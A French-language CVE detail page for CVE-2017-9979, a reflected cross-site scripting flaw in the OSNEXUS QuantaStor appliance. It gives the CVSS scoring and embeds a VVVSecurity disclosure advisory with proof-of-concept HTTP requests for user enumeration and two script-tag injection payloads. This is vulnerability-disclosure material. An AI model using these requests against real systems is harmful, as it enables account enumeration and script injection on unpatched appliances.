CVE-2017-9979 : Détail

CVE-2017-9979

6.1
/
Moyen
Cross-site Scripting
A03-Injection
0.62%V3
Network
2017-08-28
17h00 +00:00
2017-08-28
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked does not exist, an error will be triggered containing the invalid method previously invoked. The response sent to the user isn't sanitized in this case. An attacker can leverage this issue by including arbitrary HTML or JavaScript code as a parameter, aka XSS.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.1 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42517

Date de publication : 2017-08-17 22h00 +00:00
Auteur : VVVSecurity
EDB Vérifié : No

1. --- Advisory details --- Title: QuantaStor Software Define Storage mmultiple vulnerabilities Advisory ID: VVVSEC-2017-6943 Advisory URL: http://www.vvvsecurity.com/advisories/vvvsecurity-advisory-2017-6943.txt Date published: 12/08/2017 CVEs: CVE-2017-9978 "Brute force login request using http post mechanism returns different errors", CVE-2017-9979 "Rest call made for methods not implemented in the server return a response with the invalid method previously invoked." CVSS v3.0 score: CVE-2017-9978 5.3 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) CVE-2017-9979 6.1 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) 2. --- Vulnerability details --- Class: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-203: Information Exposure Through Discrepancy Impact: Information disclosure Remotely Exploitable: Yes Locally Exploitable: No 3. --- Vulnerability Description --- OSNEXUS QuantaStor [1] Software Define Storage appliance was designed to ease the process of storage management. From vendor's website "...QuantaStor SDS, deployed in datacenters worldwide, addresses a broad set of storage use cases including server virtualization, big data, cloud computing, and high performance applications through scale-out physical and virtual storage appliances..." Three different vulnerabilities were found in the appliance. A user enumeration attack and two unauthenticated XSS. These vulnerabilities could allow a remote attacker to obtain valid usernames to perform bruteforce attacks and obtain sensitive information. 4. --- Affected software versions --- OSNEXUS QuantaStor v4 virtual appliance 5. --- Technical description --- 5.1 --- User enumeration --- QuantaStor login mechanism returns different messages if the account used to perform the login is valid or not in the system. Leveraging this difference an attacker could be able to enumerate valid accounts. 5.1.1 --- Proof of Concept --- Executing the following HTTP requests an attacker can perform a login request. """ POST / HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: localhost:5152 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Authorization: Basic <REPLACE WITH BASE64 Encoded credentials> Content-Length: 384 <?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <objectGet xmlns="http://quantastor.osnexus.com/webservices/osn.xsd"><reserved xmlns=""> </reserved></auditLogGet></soapenv:Body></soapenv:Envelope> """ If the user included in the request is valid, the error returned by the application will be: <SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1) [err=26] </fault></faultstring><detail><detail><msg>Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1) [err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> But if the user doesn't exist in the system, the message will be: <SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]</fault></faultstring><detail><detail><msg> Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26] </msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> 5.2 --- Cross Site Scripting in "qsCall" parameter QuantaStor API accepts parameters through the use of the "qsCall" parameter. If the method called doesn't exist an error will be triggered containing the invalid method previously invoked. The response sent to the user isn't sanitized. An attacker can leverage this issue including arbitrary HTML or JavaScript code in the qsCall parameter. 5.2.2 --- Proof of Concept --- Execute the following HTTP request. """ https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E """ 5.3 --- Cross Site Scripting in "/qstorapi/jsonrpc" QuantaStor "jsonrpc "API accepts parameters through the use of a JSON dictionary. If the method called doesn't exist an error will be triggered containing the invalid method previously invoked. The response sent to the user isn't sanitized. An attacker can leverage this issue including arbitrary HTML or JavaScript code in the "method" key. 5.3.1 --- Proof of Concept --- Execute the following HTTP request. """ POST /qstorapi/jsonrpc HTTP/1.0 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: <HOST>:8153 Cache-Control: no-cache Pragma: no-cache Content-Type: application/json Content-Length: 54 {"method":"<script>alert(1)</script>", "params":"asd"} """ 6. --- Vendor information --- OSNEXUS released Quantastor version 4.3.1 fixing CVE-2017-9978 and CVE-2017-9979 7. --- Credits --- These vulnerabilities were discovered by Nahuel D. Sanchez, VVVSecurity 8. --- Report timeline --- 25/06/2017 -- VVVSecurity sent Advisory to OSNEXUS 29/06/2017 -- OSNEXUS confirmed the security vulnerabilities, CVE-2017-9978 and CVE-2017-9979 were provided. 24/07/2017 -- OSNEXUS released QuantaStor version 4.3.1 12/08/2017 -- Security Advisory published 9. --- References --- [1] https://www.osnexus.com/software-defined-storage/ 10. --- Copyright --- The contents of this advisory are copyright (c) 2017 VVVSecurity and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: http://creativecommons.org/licenses/by-nc-sa/4.0/ <http://creativecommons.org/licenses/by-nc-sa/4.0/>

Products Mentioned

Configuraton 0

Osnexus>>Quantastor >> Version To (including) 4.3.0

Références

https://www.exploit-db.com/exploits/42517/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2017/Aug/23
Tags : mailing-list, x_refsource_FULLDISC